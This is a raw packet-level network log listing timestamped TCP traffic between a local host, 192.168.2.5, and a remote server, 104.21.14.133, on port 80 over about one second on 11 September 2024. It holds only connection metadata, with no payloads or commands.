Sep 11, 2024 18:23:50.929783106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929922104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.930377007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930381060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930386066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930397034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930401087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930404902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930411100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930413961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930418968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.930433989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.930800915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.930800915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.994265079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994273901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994278908 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994287014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994290113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994293928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994307041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994311094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.994338989 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.994440079 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996009111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996014118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996018887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996025085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996027946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996032000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996062994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996067047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996072054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996082067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996085882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996085882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996085882 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996089935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996098042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996102095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996151924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996151924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996151924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996202946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996207952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996212006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996222973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996227026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996231079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996236086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996238947 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996243954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996254921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996258974 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996259928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996264935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996270895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996275902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996313095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996315956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996328115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996328115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996328115 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996366024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996372938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996376991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996386051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996391058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996393919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996423960 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996469021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996474028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996479034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996490955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996494055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996498108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996503115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996506929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.996558905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996558905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.996558905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005003929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005008936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005012989 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005042076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005044937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005048990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005059958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005067110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005067110 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005072117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005105972 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005146980 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005325079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005331039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005335093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005345106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005351067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005354881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005393028 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005393028 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005412102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005417109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005420923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005433083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005436897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005441904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005446911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005450964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005510092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005510092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005510092 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005553007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005558014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005562067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005567074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005570889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005575895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005603075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005630970 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005659103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005664110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005667925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005678892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005682945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005686998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005692005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005696058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005700111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005712032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005714893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005718946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005726099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005729914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005733013 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005733013 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005734921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005740881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005744934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005781889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005781889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005799055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005804062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005806923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005816936 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005820990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005825043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005830050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005832911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005839109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.005862951 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005862951 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.005882978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.178848028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178867102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178879976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178890944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178894997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178900957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178917885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178921938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178925991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178936005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178940058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178944111 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178950071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178955078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178958893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178962946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.178977966 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179024935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179029942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179033995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179044008 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179048061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179052114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179091930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179091930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179091930 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179131031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179135084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179138899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179150105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179152966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179157019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179161072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179163933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179168940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179174900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179178953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179183006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179188013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179193020 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179254055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179254055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179447889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179451942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179471970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179476976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179480076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179483891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179488897 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179492950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179497004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179501057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179507017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179521084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179521084 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179537058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179542065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179546118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179549932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179554939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179558992 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179560900 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179562092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179565907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179572105 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179575920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179580927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179589987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179594040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179598093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179616928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179616928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179616928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179630995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179642916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179646969 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179651976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179662943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179666042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179670095 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179673910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179677010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179680109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179686069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179689884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179699898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179704905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.179743052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179743052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179743052 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.179744959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180026054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180030107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180033922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180053949 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180131912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180135965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180140018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180150032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180152893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180156946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180180073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180180073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180233002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180237055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180241108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180250883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180253983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180258036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180263996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180267096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180270910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180277109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180279970 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180294991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180294991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180320978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180320978 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180330038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180334091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180337906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180347919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180381060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180383921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180387974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180393934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180397034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180408001 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180424929 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180459023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180463076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180466890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180478096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180480957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180485010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180489063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180548906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180552006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180556059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180599928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180599928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180599928 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.180634975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180639029 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180641890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180650949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.180655956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.181699991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.185839891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185859919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185863018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185914040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185916901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185920954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185930967 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185934067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185936928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.185978889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.185978889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.185978889 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186024904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186028004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186032057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186043024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186045885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186049938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186053991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186086893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186090946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186094999 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186136961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186136961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186136961 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:51.186183929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186187983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186191082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186201096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186203957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186207056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:51.186213017 CEST	80	49710	104.21.14.133	192.168.2.5
